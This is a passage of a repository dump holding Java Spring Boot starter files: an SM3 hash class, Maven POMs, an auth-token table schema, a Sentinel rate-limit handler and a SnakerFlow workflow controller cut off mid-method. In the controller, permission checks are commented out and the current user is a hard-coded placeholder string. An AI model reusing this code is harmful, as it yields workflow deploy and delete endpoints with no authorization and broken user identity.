reset() {\n        xBufOff = 0;\n        cntBlock = 0;\n        V = SM3.iv.clone();\n    }\n\n    /**\n     * 明文输入\n     *\n     * @param in    明文输入缓冲区\n     * @param inOff 缓冲区偏移量\n     * @param len   明文长度\n     */\n    public void update(byte[] in, int inOff, int len) {\n        int partLen = BUFFER_LENGTH - xBufOff;\n        int inputLen = len;\n        int dPos = inOff;\n        if (partLen < inputLen) {\n            System.arraycopy(in, dPos, xBuf, xBufOff, partLen);\n            inputLen -= partLen;\n            dPos += partLen;\n            doUpdate();\n            while (inputLen > BUFFER_LENGTH) {\n                System.arraycopy(in, dPos, xBuf, 0, BUFFER_LENGTH);\n                inputLen -= BUFFER_LENGTH;\n                dPos += BUFFER_LENGTH;\n                doUpdate();\n            }\n        }\n\n        System.arraycopy(in, dPos, xBuf, xBufOff, inputLen);\n        xBufOff += inputLen;\n    }\n\n    private void doUpdate() {\n        byte[] B = new byte[BLOCK_LENGTH];\n        for (int i = 0; i < BUFFER_LENGTH; i += BLOCK_LENGTH) {\n            System.arraycopy(xBuf, i, B, 0, B.length);\n            doHash(B);\n        }\n        xBufOff = 0;\n    }\n\n    private void doHash(byte[] B) {\n        byte[] tmp = SM3.CF(V, B);\n        System.arraycopy(tmp, 0, V, 0, V.length);\n        cntBlock++;\n    }\n\n    private byte[] doFinal() {\n        byte[] B = new byte[BLOCK_LENGTH];\n        byte[] buffer = new byte[xBufOff];\n        System.arraycopy(xBuf, 0, buffer, 0, buffer.length);\n        byte[] tmp = SM3.padding(buffer, cntBlock);\n        for (int i = 0; i < tmp.length; i += BLOCK_LENGTH) {\n            System.arraycopy(tmp, i, B, 0, B.length);\n            doHash(B);\n        }\n        return V;\n    }\n\n    public void update(byte in) {\n        byte[] buffer = new byte[]{in};\n        update(buffer, 0, 1);\n    }\n\n    public int getDigestSize() {\n        return BYTE_LENGTH;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/resources/META-INF/spring.factories",
    "content": "org.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\ncom.jun.plugin.security.AuthAutoConfiguration"
  },
  {
    "path": "jun_springboot_starter/jun-security-spring-boot-starter/src/main/resources/sql/s_auth_token.sql",
    "content": "\nSET NAMES utf8mb4;\nSET FOREIGN_KEY_CHECKS = 0;\n\n-- ----------------------------\n-- Table structure for b_auth_token\n-- ----------------------------\nDROP TABLE IF EXISTS `s_auth_token`;\nCREATE TABLE `s_auth_token`  (\n  `id` bigint(20) NOT NULL AUTO_INCREMENT COMMENT '自增主键',\n  `created_at` datetime(0) NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',\n  `updated_at` datetime(0) NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP(0) COMMENT '更新时间',\n  `token_str` varchar(256) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT 'token',\n  `login_id` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '用户id',\n  `token_expire_time` char(14) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT 'token过期时间',\n  PRIMARY KEY (`id`) USING BTREE,\n  UNIQUE INDEX `s_auth_token_unique_token_str`(`token_str`) USING BTREE COMMENT 'token_str不可重复'\n) ENGINE = InnoDB AUTO_INCREMENT = 6 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Dynamic;\n\nSET FOREIGN_KEY_CHECKS = 1;\n"
  },
  {
    "path": "jun_springboot_starter/jun-sentinel-spring-boot-starter/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-sentinel-spring-boot-starter</artifactId>\n    <version>1.0.25</version>\n    <packaging>jar</packaging>\n    <description>服务降级、熔断和限流通用组件</description>\n\n    <properties>\n        <java.version>1.8</java.version>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <maven.compiler.source>1.8</maven.compiler.source>\n        <maven.compiler.target>1.8</maven.compiler.target>\n        <jun.version>1.0.25</jun.version>\n        <spring-boot.version>2.5.14</spring-boot.version>\n        <spring-cloud.version>2020.0.6</spring-cloud.version>\n        <spring-cloud-alibaba.version>2021.1</spring-cloud-alibaba.version>\n        <mica-auto.version>2.3.2</mica-auto.version>\n    </properties>\n\n    <dependencyManagement>\n        <dependencies>\n            <dependency>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-dependencies</artifactId>\n                <version>${spring-boot.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework.cloud</groupId>\n                <artifactId>spring-cloud-dependencies</artifactId>\n                <version>${spring-cloud.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n            <dependency>\n                <groupId>com.alibaba.cloud</groupId>\n                <artifactId>spring-cloud-alibaba-dependencies</artifactId>\n                <version>${spring-cloud-alibaba.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n        </dependencies>\n    </dependencyManagement>\n    <dependencies>\n        <dependency>\n            <groupId>io.github.wujun728</groupId>\n            <artifactId>jun-common-base</artifactId>\n            <version>${jun.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.cloud</groupId>\n            <artifactId>spring-cloud-starter-alibaba-sentinel</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.alibaba.csp</groupId>\n            <artifactId>sentinel-datasource-nacos</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.cloud</groupId>\n            <artifactId>spring-cloud-starter-openfeign</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n            <scope>provided</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <optional>true</optional>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-webflux</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>net.dreamlu</groupId>\n            <artifactId>mica-auto</artifactId>\n        </dependency>\n    </dependencies>\n</project>\n"
  },
  {
    "path": "jun_springboot_starter/jun-sentinel-spring-boot-starter/src/main/java/io/github/wujun728/sentinel/config/SentinelAutoConfigure.java",
    "content": "package io.github.wujun728.sentinel.config;\n\nimport cn.hutool.json.JSONUtil;\nimport com.alibaba.csp.sentinel.adapter.spring.webflux.callback.BlockRequestHandler;\nimport com.alibaba.csp.sentinel.adapter.spring.webmvc.callback.BlockExceptionHandler;\nimport io.github.wujun728.common.base.Result;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnClass;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.http.MediaType;\nimport org.springframework.web.reactive.function.BodyInserters;\nimport org.springframework.web.reactive.function.server.ServerResponse;\n\nimport javax.servlet.http.HttpServletRequest;\n\n/**\n * Sentinel配置类\n *\n */\npublic class SentinelAutoConfigure {\n    /**\n     * 限流、熔断统一处理类\n     */\n    @Configuration\n    @ConditionalOnClass(HttpServletRequest.class)\n    public static class WebmvcHandler {\n        @Bean\n        public BlockExceptionHandler webmvcBlockExceptionHandler() {\n            return (request, response, e) -> {\n                response.setStatus(429);\n                Result result = Result.error(e.getMessage());\n                response.getWriter().print(JSONUtil.toJsonStr(result));\n            };\n        }\n    }\n\n\n    /**\n     * 限流、熔断统一处理类\n     */\n    @Configuration\n    @ConditionalOnClass(ServerResponse.class)\n    public static class WebfluxHandler {\n        @Bean\n        public BlockRequestHandler webfluxBlockExceptionHandler() {\n            return (exchange, t) ->\n                    ServerResponse.status(HttpStatus.TOO_MANY_REQUESTS)\n                            .contentType(MediaType.APPLICATION_JSON)\n                            .body(BodyInserters.fromValue(Result.error(t.getMessage())));\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-sentinel-spring-boot-starter/src/main/resources/META-INF/spring.factories.bk",
    "content": "org.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\nio.github.wujun728.sentinel.config.SentinelAutoConfigure\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-snakerflow-spring-boot-starter</artifactId>\n    <version>1.0.25</version>\n    <packaging>jar</packaging>\n    <description>数据库通用组件</description>\n\n    <properties>\n        <java.version>1.8</java.version>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <maven.compiler.source>1.8</maven.compiler.source>\n        <maven.compiler.target>1.8</maven.compiler.target>\n        <jun.version>1.0.25</jun.version>\n        <spring-boot.version>2.5.14</spring-boot.version>\n        <spring-cloud.version>2020.0.6</spring-cloud.version>\n        <mybatis-plus.version>3.5.7</mybatis-plus.version>\n        <druid.version>1.2.6</druid.version>\n        <snakerflow.version>1.0.8</snakerflow.version>\n        <swagger-annotations.version>1.6.6</swagger-annotations.version>\n        <mica-auto.version>2.3.2</mica-auto.version>\n    </properties>\n\n    <dependencyManagement>\n        <dependencies>\n            <dependency>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-dependencies</artifactId>\n                <version>${spring-boot.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework.cloud</groupId>\n                <artifactId>spring-cloud-dependencies</artifactId>\n                <version>${spring-cloud.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n        </dependencies>\n    </dependencyManagement>\n    <dependencies>\n        <dependency>\n            <groupId>io.github.wujun728</groupId>\n            <artifactId>jun-common-base</artifactId>\n            <version>${jun.version}</version>\n        </dependency>\n\n        <!--<dependency>\n            <groupId>io.github.wujun728</groupId>\n            <artifactId>jun-swagger2-spring-boot-starter</artifactId>\n        </dependency>-->\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-boot-starter</artifactId>\n        </dependency>\n        <!-- druid 官方 starter -->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid-spring-boot-starter</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <optional>true</optional>\n        </dependency>\n\t\t\n\n\t\t <!--<dependency>\n            <groupId>com.github.snakerflow-starter</groupId>\n            <artifactId>snakerflow-spring-boot-starter</artifactId>\n            <version>1.0.6</version>\n        </dependency>-->\n        <!-- https://mvnrepository.com/artifact/com.github.snakerflow-starter/snakerflow-spring-boot-starter -->\n        <dependency>\n            <groupId>com.github.snakerflow-starter</groupId>\n            <artifactId>snakerflow-spring-boot-starter</artifactId>\n            <version>${snakerflow.version}</version>\n            <exclusions>\n                <exclusion>\n                    <artifactId>mybatis-plus-boot-starter</artifactId>\n                    <groupId>com.baomidou</groupId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-boot-starter</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>net.dreamlu</groupId>\n            <artifactId>mica-auto</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>io.swagger</groupId>\n            <artifactId>swagger-annotations</artifactId>\n            <version>${swagger-annotations.version}</version>\n            <scope>compile</scope>\n        </dependency>\n    </dependencies>\n</project>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/java/io/github/wujun728/snakerflow/SnakerflowFacetsController.java",
    "content": "package io.github.wujun728.snakerflow;\n\nimport static org.snaker.engine.access.QueryFilter.DESC;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.UnsupportedEncodingException;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Objects;\n\nimport javax.servlet.http.HttpServletResponse;\n\n//import io.github.wujun728.bizservice.service.BizCommonService;\nimport io.github.wujun728.snakerflow.ext.mapper.ExtLogMapper;\nimport io.github.wujun728.snakerflow.module.PageResponse;\nimport io.github.wujun728.snakerflow.module.Response;\nimport io.github.wujun728.snakerflow.process.SnakerEngineFacets;\nimport io.github.wujun728.snakerflow.process.SnakerHelper;\nimport org.apache.commons.lang.StringUtils;\nimport org.snaker.engine.SnakerEngine;\nimport org.snaker.engine.access.Page;\nimport org.snaker.engine.access.QueryFilter;\nimport org.snaker.engine.entity.HistoryOrder;\nimport org.snaker.engine.entity.HistoryTask;\nimport org.snaker.engine.entity.Order;\nimport org.snaker.engine.entity.Process;\nimport org.snaker.engine.entity.Task;\nimport org.snaker.engine.entity.WorkItem;\nimport org.snaker.engine.helper.AssertHelper;\nimport org.snaker.engine.helper.StreamHelper;\nimport org.snaker.engine.helper.StringHelper;\nimport org.snaker.engine.model.ProcessModel;\nimport org.snaker.engine.model.TaskModel;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.*;\n\n//import io.github.wujun728.system.entity.SysUser;\n//import io.github.wujun728.system.mapper.SysUserMapper;\n//import io.github.wujun728.system.service.HttpSessionService;\n//import com.laker.admin.framework.aop.Metrics;\n//import com.laker.admin.module.flow.SnakerflowFacetsController;\n//import com.laker.admin.module.sys.entity.SysUser;\n//import com.laker.admin.module.sys.service.ISysUserService;\n//import io.github.wujun728.system.service.UserService;\n\n//import cn.dev33.satoken.annotation.SaCheckPermission;\n//import cn.dev33.satoken.stp.StpUtil;\n//import cn.dev33.satoken.annotation.SaCheckPermission;\n//import cn.dev33.satoken.stp.StpUtil;\nimport cn.hutool.core.collection.CollUtil;\nimport cn.hutool.core.lang.Dict;\nimport cn.hutool.core.map.MapUtil;\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.json.JSONUtil;\n//import com.laker.admin.framework.aop.Metrics;\n//import com.laker.admin.framework.model.PageResponse;\n//import com.laker.admin.framework.model.Response;\n//import com.laker.admin.module.flow.process.SnakerEngineFacets;\n//import com.laker.admin.module.flow.process.SnakerHelper;\n//import com.laker.admin.module.sys.entity.SysUser;\n//import com.laker.admin.module.sys.service.ISysUserService;\nimport io.swagger.annotations.ApiOperation;\nimport lombok.extern.slf4j.Slf4j;\nimport org.springframework.web.context.request.RequestContextHolder;\nimport org.springframework.web.context.request.ServletRequestAttributes;\n\n@RestController\n@RequestMapping(\"/flow\")\n@Slf4j\npublic class SnakerflowFacetsController {\n\n//\t@Resource\n//\tHttpSessionService sessionService;\n\n\t@Autowired\n\tprivate SnakerEngineFacets snakerEngineFacets;\n\n//\t@Resource\n//\tprivate UserService sysUserService;\n\n//\t@Autowired\n//\tprivate SysUserMapper sysuer;\n\n\t@Autowired\n\tprivate ExtLogMapper bizCommonMapper;\n//\t@Autowired\n//\tprivate BizCommonService bizCommonService;\n\n\t/**\n\t * ---------------------------------------------流程定义--------------------------------------------\n\t */\n\t/**\n\t * 根据流程文件名称，在线部署流程 http://qixing.vip321.vip/flow/process/deploy/leave.snaker\n\t * http://localhost:8081/flow/process/deploy/leave.snaker\n\t * \n\t * @return\n\t */\n\t@ApiOperation(value = \"根据流程文件名称，在线部署流程\", tags = \"流程引擎-流程部署\")\n\t@RequestMapping(value = \"/process/deploy/{filename}\", method = RequestMethod.GET)\n\t// @Metrics\n\tpublic Response processdeploy(@PathVariable(\"filename\") String filename) {\n\t\tsnakerEngineFacets.initFlowsByName(filename);\n\t\treturn Response.ok();\n\t}\n\n\t/**\n\t * 获取流程定义，获取流程定义的XML，根据流程ID\n\t */\n\t@GetMapping(\"/getXml\")\n\tpublic Response processEdit(String id) {\n\t\tProcess process = snakerEngineFacets.getEngine().process().getProcessById(id);\n\t\tif (process.getDBContent() != null) {\n\t\t\ttry {\n\t\t\t\treturn Response.ok(new String(process.getDBContent(), \"UTF-8\"));\n\t\t\t} catch (UnsupportedEncodingException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t\treturn Response.error(\"500\", \"xml异常\");\n\t}\n\n\t/**\n\t * 获取流程定义JOSN，根据流程定义的名称\n\t * \n\t * @param processId\n\t * @return\n\t */\n\t@GetMapping(value = \"/process/modelJson\"/*, produces = \"application/json;charset=UTF-8\"*/)\n//\t@GetMapping(value = \"/process/modelJson\", produces = \"text/plain;charset=UTF-8\")\n\t@ApiOperation(value = \"根据流程定义名称获取流程定义json\", tags = \"流程引擎-流程\")\n\t// @Metrics\n\tpublic void getProcess(@RequestParam(required = false) String processId) throws IOException {\n\t\tHttpServletResponse response = ((ServletRequestAttributes) Objects.requireNonNull(RequestContextHolder.getRequestAttributes())).getResponse();\n\t\tassert response != null;\n\t\tString json = \"\";\n\t\tif (StrUtil.isBlank(processId)) {\n\t\t\tjson =  \"\";\n\t\t}\n\t\tProcess process = snakerEngineFacets.getEngine().process().getProcessById(processId);\n\t\tAssertHelper.notNull(process);\n\t\tProcessModel processModel = process.getModel();\n\t\tif (processModel != null) {\n\t\t\tjson = SnakerHelper.getModelJson(processModel);\n\n//\t\t\treturn json;\n\t\t}\n\t\tresponse.setStatus(200);\n\t\tresponse.setContentType(\"application/json\");\n\t\tresponse.setCharacterEncoding(\"utf-8\");\n\t\tresponse.getWriter().print(json);\n//\t\treturn null;\n\t}\n\n\t/**\n\t * 流程定义清单，查询列表\n\t */\n\t@ApiOperation(value = \"根据给定的参数列表args分页查询process\", tags = \"流程引擎-流程\")\n\t@RequestMapping(value = \"/process/list\", method = RequestMethod.GET)\n\tpublic Response processList(Page<Process> page, String displayName, String limit) {\n\t\tQueryFilter filter = new QueryFilter();\n\t\tif (StringHelper.isNotEmpty(displayName)) {\n\t\t\tfilter.setDisplayName(displayName);\n\t\t}\n\t\tif (StringHelper.isNotEmpty(limit)) {\n\t\t\tpage.setPageSize(Integer.valueOf(limit));\n\t\t}\n\t\tfilter.orderBy(\"create_Time\").order(DESC);\n\t\tsnakerEngineFacets.getEngine().process().getProcesss(page, filter);\n\t\treturn PageResponse.ok(JSONUtil.parse(page.getResult()), page.getTotalCount());\n\t}\n\n\t/**\n\t * 根据流程定义ID，删除流程定义\n\t * \n\t * @param id\n\t * @return\n\t */\n\t@ApiOperation(value = \"根据流程定义ID，删除流程定义\", tags = \"流程引擎-流程\")\n\t@RequestMapping(value = \"/process/delete/{id}\", method = RequestMethod.GET)\n\t// @Metrics\n\t// @SaCheckPermission(\"flow.delete\")\n\tpublic Response processDelete(@PathVariable(\"id\") String id) {\n\t\tsnakerEngineFacets.getEngine().process().undeploy(id);\n\t\treturn Response.ok();\n\t}\n\n\t/**\n\t * 保存流程定义[web流程设计器]\n\t * \n\t * @param model\n\t * @return\n\t */\n\t@ApiOperation(value = \"保存流程定义[web流程设计器]\", tags = \"流程引擎-流程\")\n\t@RequestMapping(value = \"/process/deployXml\", method = RequestMethod.POST)\n\t// @SaCheckPermission(\"flow.update\")\n\tpublic boolean processDeploy(String model, String id,\n\t\t\t@RequestParam(required = false, defaultValue = \"false\") boolean xmlHearder) {\n\t\tInputStream input = null;\n\t\ttry {\n\t\t\tString xml = \"\";\n\t\t\tif (!xmlHearder) {\n\t\t\t\txml = \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n\";\n\t\t\t}\n\t\t\txml = xml + SnakerHelper.convertXml(model);\n\t\t\tSystem.out.println(\"model xml=\\n\" + xml);\n\t\t\tinput = StreamHelper.getStreamFromString(xml);\n\t\t\tif (StringUtils.isNotEmpty(id)) {\n\t\t\t\tsnakerEngineFacets.getEngine().process().redeploy(id, input);\n\t\t\t} else {\n\t\t\t\tsnakerEngineFacets.getEngine().process().deploy(input);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\treturn false;\n\t\t} finally {\n\t\t\tif (input != null) {\n\t\t\t\ttry {\n\t\t\t\t\tinput.close();\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn true;\n\t}\n\n\t/**\n\t * \n\t * @param processId\n\t * @param orderId\n\t * @return\n\t */\n\t@ApiOperation(value = \"流程定义+流程状态\", tags = \"流程引擎-流程\")\n\t@RequestMapping(value = \"/process/json\", method = RequestMethod.GET)\n\t// @Metrics\n\tpublic Object json(String processId, String orderId) {\n\t\tif (StrUtil.isBlank(processId)) {\n\t\t\tprocessId = snakerEngineFacets.getEngine().query().getHistOrder(orderId).getProcessId();\n\t\t}\n\t\tProcess process = snakerEngineFacets.getEngine().process().getProcessById(processId);\n\t\tAssertHelper.notNull(process);\n\t\tProcessModel model = process.getModel();\n\t\tMap<String, String> jsonMap = new HashMap<String, String>();\n\t\tif (model != null) {\n\t\t\tjsonMap.put(\"process\", SnakerHelper.getModelJson(model));\n\t\t}\n\n\t\tif (StringUtils.isNotEmpty(orderId)) {\n\t\t\tList<Task> tasks = snakerEngineFacets.getEngine().query()\n\t\t\t\t\t.getActiveTasks(new QueryFilter().setOrderId(orderId));\n\t\t\tList<HistoryTask> historyTasks = snakerEngineFacets.getEngine().query()\n\t\t\t\t\t.getHistoryTasks(new QueryFilter().setOrderId(orderId));\n\t\t\tjsonMap.put(\"state\", SnakerHelper.getStateJson(model, tasks, historyTasks));\n\t\t}\n\t\tlog.info(jsonMap.get(\"state\"));\n\t\t// {\"historyRects\":{\"rects\":[{\"paths\":[\"TO 任务1\"],\"name\":\"开始\"},{\"paths\":[\"TO\n\t\t// 分支\"],\"name\":\"任务1\"},{\"paths\":[\"TO 任务3\",\"TO 任务4\",\"TO 任务2\"],\"name\":\"分支\"}]}}\n\t\treturn jsonMap;\n\t}\n\n\t/**\n\t * --------------------------------------------- 任务相关\n\t * ---------------------------------------------\n\t */\n\t/**\n\t * 根据当前用户查询待办任务列表\n\t */\n\t@GetMapping(\"/task/todoList\")\n\t@ApiOperation(value = \"根据当前用户查询待办任务列表\", tags = \"流程引擎-任务\")\n\tpublic PageResponse userTaskTodoList(String username) {\n\t\tif (org.springframework.util.StringUtils.isEmpty(username)) {\n\t\t\tusername = \"sessionService.getCurrentUsername()\";\n\t\t}\n\t\tString usercode = \"sessionService.getCurrentUsername()\";\n\t\tPage<WorkItem> page = new Page<>(30);\n\t\tsnakerEngineFacets.getEngine().query().getWorkItems(page, new QueryFilter().setOperator(username));\n\t\treturn PageResponse.ok(page.getResult(), page.getTotalCount());\n\t}\n\n\t/**\n\t * 根据当前用户查询待办任务列表\n\t */\n\t@GetMapping(\"/task/doneList\")\n\t@ApiOperation(value = \"根据当前用户查询已办任务列表\", tags = \"流程引擎-任务\")\n\tpublic PageResponse userTaskdoneList() {\n\t\tPage<WorkItem> page = new Page<>(30);\n\t\tsnakerEngineFacets.getEngine().query().getHistoryWorkItems(page,\n\t\t\t\tnew QueryFilter().setOperator(\"sessionService.getCurrentUsername()\"));\n\t\tList<WorkItem> items = page.getResult();\n\t\treturn PageResponse.ok(page.getResult(), page.getTotalCount());\n\t}\n\n\t@GetMapping(\"/task/actor/add\")\n\t@ApiOperation(value = \"根据流程实例id和任务名称，增加任务参与者\", tags = \"流程引擎-任务\")\n\tpublic Response addTaskActor(@RequestParam(\"orderId\") String orderId, @RequestParam(\"taskName\") String taskName,\n\t\t\t@RequestParam(\"operator\") String operator) {\n\t\tList<Task> tasks = snakerEngineFacets.getEngine().query().getActiveTasks(new QueryFilter().setOrderId(orderId));\n\t\tfor (Task task : tasks) {\n\t\t\tif (task.getTaskName().equalsIgnoreCase(taskName) && StringUtils.isNotEmpty(operator)) {\n\t\t\t\tsnakerEngineFacets.getEngine().task().addTaskActor(task.getId(), operator);\n\t\t\t}\n\t\t}\n\t\treturn Response.ok();\n\t}\n\n\t@GetMapping(\"/task/tip\")\n\t@ApiOperation(value = \"根据流程实例id和任务名称,查找当前任务的到达时间和待执行人\", tags = \"流程引擎-任务\")\n\tpublic Response taskTip(String orderId, String taskName) {\n\t\tList<Task> tasks = snakerEngineFacets.getEngine().query().getActiveTasks(new QueryFilter().setOrderId(orderId));\n\t\tStringBuilder builder = new StringBuilder();\n\t\tString createTime = \"\";\n\t\tString finishTime = \"\";\n\t\tString taskOperatorFlag = \"\";\n\t\tString taskOperatorMsg = \"\";\n\t\tboolean find = false;\n\t\tfor (Task task : tasks) {\n\t\t\tif (task.getTaskName().equalsIgnoreCase(taskName)) {\n\t\t\t\tString[] actors = snakerEngineFacets.getEngine().query().getTaskActorsByTaskId(task.getId());\n\t\t\t\tString.join(\",\",actors);\n\t\t\t\tfor (String actor : actors) {\n//\t\t\t\t\tSysUser sysUser = sysuer.getUserByName(actor);\n//\t\t\t\t\tif (sysUser!=null) {\n//\t\t\t\t\t\tString name =  sysUser.getRealName();\n//\t\t\t\t\t\tif (!builder.toString().contains(name)) {\n//\t\t\t\t\t\t\tbuilder.append(name).append(\",\");\n//\t\t\t\t\t\t}\n//\t\t\t\t\t}else{\n//\t\t\t\t\t\t//builder.append(\"用户【\"+actor+\"】不存在 \").append(\",\");\n//\n//\t\t\t\t\t}\n\t\t\t\t\tfind = true;\n\t\t\t\t}\n\t\t\t\tcreateTime = task.getCreateTime();\n\t\t\t\ttaskOperatorFlag = String.valueOf(task.getVariableMap().get(\"taskOperatorFlag\"));\n\t\t\t\ttaskOperatorMsg = String.valueOf(task.getVariableMap().get(\"taskOperatorMsg\"));\n\t\t\t}\n\t\t}\n\t\tif (!find) {\n\t\t\tList<HistoryTask> historyTasks = snakerEngineFacets.getEngine().query()\n\t\t\t\t\t.getHistoryTasks(new QueryFilter().setOrderId(orderId));\n\t\t\tfor (HistoryTask task : historyTasks) {\n\t\t\t\tif (task.getTaskName().equalsIgnoreCase(taskName)) {\n\t\t\t\t\tString[] actors = snakerEngineFacets.getEngine().query().getHistoryTaskActorsByTaskId(task.getId());\n\t\t\t\t\tfor (String actor : actors) {\n//\t\t\t\t\t\t// SysUser sysUser = sysUserService.getById(String.valueOf(actor));\n//\t\t\t\t\t\tSysUser sysUser = sysuer.getUserByName(actor);\n//\t\t\t\t\t\tif (sysUser != null) {\n//\t\t\t\t\t\t\tString nickName = sysUser.getRealName();\n//\t\t\t\t\t\t\tif (!builder.toString().contains(nickName)) {\n//\t\t\t\t\t\t\t\tbuilder.append(nickName).append(\",\");\n//\t\t\t\t\t\t\t}\n//\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tcreateTime = task.getCreateTime();\n\t\t\t\t\tfinishTime = task.getFinishTime();\n\t\t\t\t\ttaskOperatorFlag = String.valueOf(task.getVariableMap().get(\"taskOperatorFlag\"));\n\t\t\t\t\ttaskOperatorMsg = String.valueOf(task.getVariableMap().get(\"taskOperatorMsg\"));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (builder.length() > 0) {\n\t\t\tbuilder.deleteCharAt(builder.length() - 1);\n\t\t}\n\t\tMap<String, String> data = new HashMap<String, String>();\n\t\tdata.put(\"actors\", builder.toString());\n\t\tdata.put(\"createTime\", createTime);\n\t\tdata.put(\"finishTime\", finishTime);\n\t\tdata.put(\"taskOperatorFlag\", taskOperatorFlag);\n\t\tdata.put(\"taskOperatorMsg\", taskOperatorMsg);\n\t\treturn Response.ok(data);\n\t}\n\n\t/**\n\t * 活动任务的驳回\n\t */\n\t@GetMapping(\"/task/reject\")\n\t@ApiOperation(value = \"\\t 【审批任务】驳回，根据任务主键ID，操作人ID，参数列表执行任务，并且根据nodeName跳转到任意节点\\n\"\n\t\t\t+ \"\\t 1、nodeName为null时，则跳转至上一步处理\\n\" + \"\\t 2、nodeName不为null时，则任意跳转，即动态创建转移\", tags = \"流程引擎-任务\")\n\tpublic Response activeTaskReject(String taskId, String nodeName, String reason) {\n\t\tDict rejectReason = Dict.create()\n\t\t\t\t// 拒绝原因，建议单独搞个 审核表 审核的comment file单独存储\n\t\t\t\t.set(\"rejectReason\", reason);\n\t\tMap args = new HashMap(8);\n\t\targs.put(\"taskOperator\", \"sessionService.getCurrentUsername()\");\n\t\targs.put(\"taskOperatorMsg\", \"驳回原因，填写有问题，不能XXX，需要XXX！\");\n\t\targs.put(\"taskOperatorFlag\", \"处理结果：驳回\");\n\t\tsnakerEngineFacets.executeAndJump(taskId, \"sessionService.getCurrentUsername()\", args, nodeName);\n\t\treturn Response.ok();\n\t}\n\n\t/**\n\t * 活动任务的驳回-驳回到发起人\n\t */\n\t@SuppressWarnings({ \"unchecked\", \"rawtypes\" })\n\t@GetMapping(\"/task/rejectToCreate\")\n\t@ApiOperation(value = \"【任务驳回】驳回到发起人\", tags = \"流程引擎-任务\")\n\tpublic Response activeTaskReject(String taskId, String taskOperatorFlag, String taskOperatorMsg,\n\t\t\tString operatorNextid, String operatorNext) {\n\t\tList<WorkItem> workItems = snakerEngineFacets.getEngine().query().getWorkItems(null,\n\t\t\t\tnew QueryFilter().setTaskId(taskId));\n\t\tif (CollUtil.isEmpty(workItems)) 